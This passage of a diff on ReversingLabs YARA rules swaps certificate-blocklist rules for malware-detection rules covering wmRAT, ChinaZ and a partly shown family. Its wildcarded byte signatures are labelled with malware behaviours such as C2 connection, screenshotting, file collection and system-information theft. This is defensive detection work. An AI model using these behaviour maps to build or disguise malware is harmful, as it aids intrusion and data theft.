11 84 24 ?? ?? ?? ?? 0F 10 8C 24 ?? ?? ?? ?? 0F 11 + } + $take_screenshot_p4 = { + 8C 24 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 66 49 0F 7E C1 66 0F 73 D9 ?? 66 48 0F 7E + C8 48 83 F8 ?? 49 0F 47 D1 45 33 C9 41 B8 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? FF 15 + ?? ?? ?? ?? B9 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 45 33 C9 45 8B C4 49 8B D5 48 8B 8C 24 + ?? ?? ?? ?? FF 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? + ?? 48 8B 01 FF 50 ?? 49 8B CD E8 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 8B 4C 24 ?? + FF 15 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? + ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 33 C9 FF 15 ?? ?? ?? ?? 90 48 8B 94 24 ?? ?? ?? ?? + 48 83 FA ?? 76 ?? 48 FF C2 48 8B 8C 24 ?? ?? ?? ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 72 + ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C6 84 24 ?? ?? + ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 85 C9 74 ?? FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 + 8B F8 48 8D 48 ?? FF 15 ?? ?? ?? ?? 83 6F ?? ?? 75 ?? 48 8D 4F ?? FF 15 ?? ?? ?? ?? + 48 8B 0F 48 85 C9 74 ?? FF 15 ?? ?? ?? ?? 48 89 1F 48 8D 4F ?? FF 15 ?? ?? ?? ?? 48 + 8D 4F ?? FF 15 ?? ?? ?? ?? 90 48 8B 8C 24 ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 4C 8D + 9C 24 ?? ?? ?? ?? 49 8B 5B ?? 49 8B 73 ?? 49 8B E3 41 5F 41 5E 41 5D 41 5C 5F C3 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "FORTUNE STAR TRADING, INC." and pe.signatures [ i ] . serial == "32:23:b4:61:6c:26:87:c0:48:65:be:e8:32:17:26:a8" and 1601337600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $get_disk_information_p* ) ) and ( all of ( $get_os_information_p* ) ) and ( all of ( $take_screenshot_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_7709D2Df39E9A4F7Db2F3Cbc29B49743 : INFO FILE +rule REVERSINGLABS_Win64_Backdoor_Wmrat : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects wmRAT backdoor." author = "ReversingLabs" - id = "7227daa3-453d-5bb8-804c-8a97cd0d81c6" - date = "2020-08-05" - modified = "2023-11-08" + id = "9ae75871-b08f-52cc-8588-a444d13ecd89" + date = "2025-03-17" + modified = "2025-03-17" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5232-L5248" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/Win64.Backdoor.wmRAT.yara#L1-L144" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "c9ade45e0f9fb737a08ffa94d1fff89471a1cbcbacc139730fab88e382226d0b" + logic_hash = "23aadaf1571f23b3f02191e3079171c981d4969d0bd266d6db8c95fc091a1606" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Backdoor" + tc_detection_name = "wmRAT" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Grina LLC" and pe.signatures [ i ] . serial == "77:09:d2:df:39:e9:a4:f7:db:2f:3c:bc:29:b4:97:43" and 1556353331 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_E29690E14518874D2Dcf00234Ae94F1F : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "6b4f26d3-b943-5a2e-bfb9-0e290031926a" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5250-L5268" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ef84815798b213dc49a142e3076cc6dd680dccabe72643fc86234024a46468f9" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $connect_to_c2 = { + 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? A1 ?? ?? ?? ?? 33 C4 89 44 24 ?? + A1 ?? ?? ?? ?? 33 C4 50 8D 44 24 ?? 64 A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? + ?? 66 A3 ?? ?? ?? ?? B8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4C 24 ?? 66 A3 ?? ?? ?? ?? FF + 15 ?? ?? ?? ?? 83 7C 24 ?? ?? 8B 44 24 ?? 73 ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 6A + ?? 6A ?? 6A ?? A3 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 50 A3 ?? ?? ?? + ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 0D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 83 C8 ?? 8D + 4C 24 ?? A3 ?? ?? ?? ?? 89 44 24 ?? FF 15 ?? ?? ?? ?? 32 C0 EB ?? 8D 4C 24 ?? C6 05 + ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? B0 ?? 8B 4C 24 ?? 64 89 0D + ?? ?? ?? ?? 59 8B 4C 24 ?? 33 CC E8 ?? ?? ?? ?? 83 C4 ?? C3 + } + $find_files_and_get_file_data_p1 = { + 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? + ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 55 56 57 A1 ?? ?? ?? ?? 33 C4 50 8D 84 24 ?? ?? ?? + ?? 64 A3 ?? ?? ?? ?? 33 DB 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 89 9C 24 ?? ?? ?? ?? + FF 15 ?? ?? ?? ?? 83 BC 24 ?? ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 73 ?? 8D 84 24 ?? ?? + ?? ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 50 8D 84 24 ?? ?? ?? ?? 89 8C 24 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8D 54 24 ?? C6 84 24 ?? ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 52 E8 ?? + ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 3B C1 74 + ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 8B 44 24 ?? 8D 94 24 ?? ?? ?? ?? 52 50 FF 15 ?? ?? + ?? ?? 89 44 24 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8B 2D ?? ?? ?? ?? F6 84 24 ?? ?? ?? ?? + ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 53 51 89 9C 24 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 52 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF D5 + 8B 0D ?? ?? ?? ?? 66 8B 15 ?? ?? ?? ?? 83 C4 ?? 33 C0 89 84 24 ?? ?? ?? ?? 89 84 24 + ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 8C 24 ?? ?? ?? ?? 89 84 24 + ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 66 89 84 24 ?? ?? ?? ?? C7 84 + 24 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 94 24 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 8D 84 24 ?? + ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 3B D3 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 + ?? 83 C1 ?? 66 3B D3 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 3B C3 0F 84 ?? ?? ?? ?? 8D 8C + } + $find_files_and_get_file_data_p2 = { + 24 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 3B D3 74 ?? 66 8B 50 + ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 3B D3 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 3B + C3 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 53 50 89 9C 24 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 53 51 89 9C 24 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 8B 54 24 ?? 8B C2 83 C4 ?? 8D 70 ?? EB ?? 8D 49 ?? 66 8B 08 83 C0 ?? 66 3B + CB 75 ?? 2B C6 D1 F8 8D 44 00 ?? 50 52 8D 8C 24 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8D 94 + 24 ?? ?? ?? ?? 52 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF D5 8D 8C 24 ?? ?? ?? ?? + 51 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 FF D5 83 C4 ?? 8D 44 24 ?? 68 ?? ?? ?? ?? + 8D 8C 24 ?? ?? ?? ?? 89 44 24 ?? 51 8D 44 24 ?? E8 ?? ?? ?? ?? 8D 54 24 ?? C6 84 24 + ?? ?? ?? ?? ?? 8B 4C 24 ?? 52 E8 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 8B 44 24 ?? 8D + 4C 24 ?? 3B C1 74 ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 8B 54 24 ?? 52 8D 8C 24 ?? ?? ?? + ?? FF 15 ?? ?? ?? ?? 83 EC ?? 8B CC 89 64 24 ?? 68 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? + ?? FF 15 ?? ?? ?? ?? 8D B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B C6 68 ?? ?? ?? ?? 50 FF + 15 ?? ?? ?? ?? 83 C4 ?? 84 C0 74 ?? FF 05 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 52 8D 84 24 ?? ?? ?? ?? 89 8C 24 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 44 24 ?? C6 84 24 ?? ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? + 50 E8 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 8D 8C 24 + } + $find_files_and_get_file_data_p3 = { + 3B C1 74 ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? FF 15 + ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 8B 54 24 ?? 52 8D 8C 24 ?? ?? ?? ?? FF 15 ?? ?? + ?? ?? 83 EC ?? 8D 84 24 ?? ?? ?? ?? 8B CC 89 64 24 ?? 50 FF 15 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 33 C0 0F B7 D0 8B C2 C1 E2 ?? 0B C2 B9 ?? ?? ?? ?? 8D BC 24 ?? ?? ?? ?? F3 AB + 83 C4 ?? 8D 8C 24 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? C6 84 24 ?? + ?? ?? ?? ?? 8B 44 24 ?? 83 C0 ?? 8D 48 ?? 83 CA ?? F0 0F C1 11 4A 85 D2 7F ?? 8B 08 + 8B 11 50 8B 42 ?? FF D0 8D 8C 24 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? + ?? C6 84 24 ?? ?? ?? ?? ?? 8B 44 24 ?? E9 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 3B C3 8B + 8C 24 ?? ?? ?? ?? 89 4C 24 ?? 89 44 24 ?? 0F 8C ?? ?? ?? ?? 7F ?? 3B CB 0F 86 ?? ?? + ?? ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 53 51 89 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 8B 54 24 ?? 8B C2 83 C4 ?? 8D 70 ?? 8D 64 24 ?? 66 8B 08 83 C0 ?? 66 3B CB 75 ?? 2B + C6 D1 F8 8D 44 00 ?? 50 52 8D 8C 24 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? + ?? 83 C4 ?? 8B D0 8B FF 66 8B 08 83 C0 ?? 66 3B CB 75 ?? 8D BC 24 ?? ?? ?? ?? 2B C2 + 83 C7 ?? EB ?? 8D A4 24 ?? ?? ?? ?? 66 8B 4F ?? 83 C7 ?? 66 3B CB 75 ?? DF 6C 24 ?? + 8B C8 C1 E9 ?? 8B F2 DC 05 ?? ?? ?? ?? F3 A5 DD 1D ?? ?? ?? ?? 8B C8 68 + } + $find_files_and_get_file_data_p4 = { + 8D 84 24 ?? ?? ?? ?? 83 E1 ?? 8D 94 24 ?? ?? ?? ?? 50 8D 84 24 ?? ?? ?? ?? F3 A4 89 + 94 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? C6 84 24 ?? ?? ?? ?? ?? 51 8B 8C 24 ?? + ?? ?? ?? E8 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 8D 94 24 ?? ?? + ?? ?? 3B C2 74 ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 8B 44 24 ?? 50 8D 8C 24 ?? ?? ?? ?? + FF 15 ?? ?? ?? ?? FF 05 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? C6 84 24 + ?? ?? ?? ?? ?? 8B 44 24 ?? 83 C0 ?? 83 CA ?? 8D 48 ?? F0 0F C1 11 4A 85 D2 7F ?? 8B + 08 8B 11 50 8B 42 ?? FF D0 8B 74 24 ?? 8D 8C 24 ?? ?? ?? ?? 51 56 FF 15 ?? ?? ?? ?? + 85 C0 0F 85 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 88 9C 24 ?? ?? ?? ?? 8B 44 24 ?? 83 C0 + ?? 8D 50 ?? 83 C9 ?? F0 0F C1 0A 49 85 C9 7F ?? 8B 08 8B 11 50 8B 42 ?? FF D0 8D 8C + 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? + ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5D 5B 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 81 + C4 ?? ?? ?? ?? C3 + } + $receive_data_and_write_to_file = { + C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 8B 4C 24 ?? 51 E8 ?? + ?? ?? ?? 8B 7C 24 ?? 8B F0 83 C4 ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 84 C0 75 ?? 68 ?? ?? + ?? ?? 8D 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 83 EC ?? 8B D4 C7 84 24 ?? ?? ?? + ?? ?? ?? ?? ?? 89 64 24 ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 52 FF 15 ?? ?? ?? + ?? 83 C4 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 8C 24 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 4C 24 ?? + 51 56 B9 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 54 24 ?? 01 15 ?? ?? ?? ?? 56 E8 ?? ?? ?? + ?? 83 C4 ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D + 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 83 EC ?? 8B C4 C7 84 24 ?? ?? ?? ?? ?? ?? + ?? ?? 89 64 24 ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 51 50 E9 + } + $get_system_information = { + 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? A1 ?? ?? ?? ?? 33 C4 89 44 24 ?? + 53 55 56 57 A1 ?? ?? ?? ?? 33 C4 50 8D 44 24 ?? 64 A3 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? + 33 F6 BD ?? ?? ?? ?? 83 CF ?? E8 ?? ?? ?? ?? 66 A1 ?? ?? ?? ?? 8A 0D ?? ?? ?? ?? 66 + 89 44 24 ?? 88 4C 24 ?? FF 15 ?? ?? ?? ?? 89 44 24 ?? 3B C6 74 ?? 8D 9B ?? ?? ?? ?? + A8 ?? 74 ?? 8D 54 24 ?? 52 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4C 24 ?? + 89 74 24 ?? FF 15 ?? ?? ?? ?? 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4C 24 ?? 89 + 7C 24 ?? FF 15 ?? ?? ?? ?? 8B 44 24 ?? FE 44 24 ?? D1 E8 89 44 24 ?? 75 ?? 8D 4C 24 + ?? 51 E8 ?? ?? ?? ?? 8D 54 24 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? FF D3 83 ED ?? 0F + 85 ?? ?? ?? ?? 8B 4C 24 ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5D 5B 8B 4C 24 ?? 33 CC E8 + ?? ?? ?? ?? 83 C4 ?? C3 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "GRIND & TAMP ENTERPRISES PTY LTD" and ( pe.signatures [ i ] . serial == "00:e2:96:90:e1:45:18:87:4d:2d:cf:00:23:4a:e9:4f:1f" or pe.signatures [ i ] . serial == "e2:96:90:e1:45:18:87:4d:2d:cf:00:23:4a:e9:4f:1f" ) and 1570838400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $connect_to_c2 ) and ( all of ( $find_files_and_get_file_data_p* ) ) and ( $receive_data_and_write_to_file ) and ( $get_system_information ) } - -rule REVERSINGLABS_Cert_Blocklist_Cfac705C7E6845904F99995324F7562C : INFO FILE +rule REVERSINGLABS_Linux_Trojan_Chinaz : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects ChinaZ trojan." author = "ReversingLabs" - id = "42aa3105-a077-5962-8d5d-50429254582b" - date = "2020-08-05" - modified = "2023-11-08" + id = "f99c224b-db54-5cae-b5fb-8939ebee3250" + date = "2024-07-31" + modified = "2024-07-31" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5270-L5288" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/Linux.Trojan.ChinaZ.yara#L1-L246" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "68bcfe60c2e7154f427c20d0471ede99e55c8200149a4438d5a2a75982fcd419" + logic_hash = "d8d08f4f3f36ecc7b219b6b1aae3c76d26e8fb3a44444763929190c6124532ff" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Trojan" + tc_detection_name = "ChinaZ" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "HMWOCFPSDLAFMFZIVD" and ( pe.signatures [ i ] . serial == "cf:ac:70:5c:7e:68:45:90:4f:99:99:53:24:f7:56:2c" or pe.signatures [ i ] . serial == "30:53:8f:a3:81:97:ba:6f:b0:66:66:ac:db:08:a9:d4" ) and 1601918720 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_A7989F8Be0C82D35A19E7B3Dd4Be30E5 : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "21d54d40-442e-50f5-a561-41b3d6239bac" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5290-L5308" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "a50129908a471e6692bcf663abd5ef52861d4a46fdf528f39efe816ee6150edf" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $collect_system_information_32_p1 = { + 55 57 56 53 81 EC ?? ?? ?? ?? 8D 5C 24 ?? 89 1C 24 E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? + ?? 89 44 24 ?? 89 5C 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 + ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 + ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 31 31 C9 89 C6 8D 44 24 ?? 31 + FF C7 44 24 ?? ?? ?? ?? ?? 01 CE 89 04 24 11 D7 E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 0F 31 89 C1 31 C0 31 DB 01 C1 8D 44 24 ?? 11 D3 C7 44 24 ?? ?? ?? ?? + ?? 89 04 24 89 4C 24 ?? E8 ?? ?? ?? ?? 8B 4C 24 ?? 8B 44 24 ?? C7 04 24 ?? ?? ?? ?? + 29 F1 19 FB 31 ED 2B 44 24 ?? 89 4C 24 ?? 8D B4 24 ?? ?? ?? ?? 89 5C 24 ?? 89 F7 69 + C0 ?? ?? ?? ?? DF 6C 24 ?? 03 44 24 ?? 2B 44 24 ?? D9 7C 24 ?? 89 44 24 ?? DB 44 24 + ?? DE F9 0F B7 44 24 ?? B4 ?? 66 89 44 24 ?? D9 6C 24 ?? DB 5C 24 ?? D9 6C 24 ?? 8B + 5C 24 ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 5C 24 ?? + 8D 9C 24 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? A1 + } + $collect_system_information_32_p2 = { + C7 04 24 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 44 24 ?? ?? ?? + ?? ?? C7 04 24 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 89 E8 B9 ?? ?? ?? ?? F3 AB 89 + DF B1 ?? F3 AB 89 DF 89 5C 24 ?? 89 74 24 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D + 44 24 ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 C7 44 24 ?? ?? ?? ?? ?? E8 ?? + ?? ?? ?? 8B 54 24 ?? 89 E8 B9 ?? ?? ?? ?? F3 AB 89 F7 C7 44 24 ?? ?? ?? ?? ?? 89 D0 + C1 F8 ?? C1 E8 ?? 01 D0 C1 F8 ?? 89 44 24 ?? 89 1C 24 89 44 24 ?? E8 ?? ?? ?? ?? C7 + 44 24 ?? ?? ?? ?? ?? 89 5C 24 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? + ?? ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 C2 A1 ?? ?? ?? + ?? 89 54 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 89 E8 B9 ?? ?? ?? ?? F3 AB 89 DF B1 ?? F3 + AB 89 5C 24 ?? 89 74 24 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 54 24 ?? 85 D2 0F + 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 5C 24 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? + ?? A1 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? + ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 + 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? + ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 5B 5E 5F 5D + C3 + } + $send_system_info_32 = { + 57 56 53 81 EC ?? ?? ?? ?? 8D 5C 24 ?? 89 1C 24 E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? + 89 44 24 ?? 89 5C 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? + ?? ?? ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 0F 31 31 C9 89 C6 8D 44 24 ?? 31 FF C7 44 24 ?? ?? ?? ?? ?? 01 CE 89 04 24 11 D7 E8 + ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 31 89 C1 31 C0 31 DB 01 C1 8D 44 + 24 ?? 11 D3 C7 44 24 ?? ?? ?? ?? ?? 89 04 24 89 4C 24 ?? E8 ?? ?? ?? ?? 8B 4C 24 ?? + 8B 44 24 ?? C7 04 24 ?? ?? ?? ?? 29 F1 19 FB 2B 44 24 ?? 89 4C 24 ?? 89 5C 24 ?? 69 + C0 ?? ?? ?? ?? DF 6C 24 ?? 03 44 24 ?? 2B 44 24 ?? D9 7C 24 ?? 89 44 24 ?? DB 44 24 + ?? DE F9 0F B7 44 24 ?? B4 ?? 66 89 44 24 ?? D9 6C 24 ?? DB 5C 24 ?? D9 6C 24 ?? 8B + 5C 24 ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 5C 24 ?? + C7 04 24 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 + 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 54 24 ?? 89 44 24 ?? C7 04 24 ?? ?? + ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? + 89 04 24 E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? B8 ?? ?? ?? ?? 5B 5E 5F C3 + } + 